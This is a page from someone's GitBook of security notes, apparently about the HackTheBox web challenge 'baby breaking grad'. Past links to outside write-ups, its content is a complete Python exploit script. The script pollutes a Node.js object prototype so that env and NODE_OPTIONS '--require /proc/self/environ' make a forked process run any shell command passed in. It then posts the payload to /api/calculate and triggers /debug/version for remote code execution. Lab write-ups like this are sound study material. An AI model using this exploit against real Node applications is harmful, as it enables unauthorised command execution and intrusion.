fg0x0's notes
search
⌘Ctrlk
fg0x0's notes
  • πŸ‘€Introduction
    • πŸ΄β€β˜ οΈAbout me
  • πŸ‘Ύoffensive-security
    • 🐲OSCP
    • ⛓️OSEP
    • πŸ•ΈοΈOSWE
    • 🌌PG-Practice
  • 🚩Red Team
    • ☒️Active Directory Exploitation
    • πŸ‘ΏRed Teaming Zero to Hero
    • πŸ‘ΏRed Teaming All The Things
    • πŸ•ΈοΈWeb Exploitation
    • πŸ’€Binary Exploitation
    • ☠️Exploit Development
  • 🏳️Blue Team
    • πŸ”Digital Forensics
    • πŸ”Cryptography & Math
    • βͺReverse Engineering
  • πŸ΄β€β˜ οΈctf
    • πŸ‡Haruul Zangi
    • πŸ΄β€β˜ οΈOther CTF
  • 🧊HackTheBox
    • πŸͺŸWindows Machine
    • 🐧Linux Machine
    • ☠️Other Platform Machines
    • spider-webWeb Exploitation
      • πŸ‘½Flask SSTI
      • vial-virusInjection
      • πŸ’₯Prototype Pollution
        • ☠️baby breaking grad
      • πŸ˜΅β€πŸ’«insecure deserialization
      • xmark-largeXSS
      • πŸ‘ΎSymfony
      • πŸ‘₯XXE
      • face-sleepingPing submit hiideg
      • saladRCE
      • arrows-to-circleLFI
      • cabinet-filingFile Upload
      • curling-stoneURL submit hiideg
      • circle-chevron-rightInvoice ilgeedeg
      • dollyHTTP2 smuggling
    • unityForensics
  • πŸ’€Synack Red Team
gitbookPowered by GitBook
block-quoteOn this pagechevron-down
  1. 🧊HackTheBoxchevron-right
  2. spider-webWeb Exploitationchevron-right
  3. πŸ’₯Prototype Pollution

☠️baby breaking grad

prototype pollution,

LogoBaby breaking grad - Braincoke | Security Blogbraincoke.frchevron-right
LogoBreaking Grad HackTheBox Write-upMediumchevron-right
LogoBaby breaking gradMediumchevron-right

full exploit code

PreviousPrototype Pollutionchevron-leftNextinsecure deserializationchevron-right

Last updated 1 year ago

import requests
import json
from sys import argv, exit

def get_args():
	try:
		return argv[1], argv[2]
	except IndexError:
		exit('Usage: python3 ' + argv[0] + ' <target_url> <cmd>')

def gen_payload(cmd):
	payload_dict = {
		'constructor': {
			'prototype': {
				'env': {
					'x': 'console.log(require("child_process").execSync("{cmd}").toString())//'.format(cmd=cmd)
				},
				'NODE_OPTIONS': '--require /proc/self/environ'
			}
		}
	}
	return json.dumps(payload_dict)

def main():
	target, cmd = get_args()

	# http header data + payload
	headers = {'Content-Type': 'application/json'}
	json_payload = gen_payload(cmd)

	# Send payload/POST request to /api/calculate to exploit prototype pollution
	requests.post(target + '/api/calculate', headers=headers, data=json_payload)
	
	# Trigger fork to spawn new process and gain RCE via calling --require against environment variables
	r = requests.get(target + '/debug/version')
	print(r.text)

if __name__ == '__main__':
	main()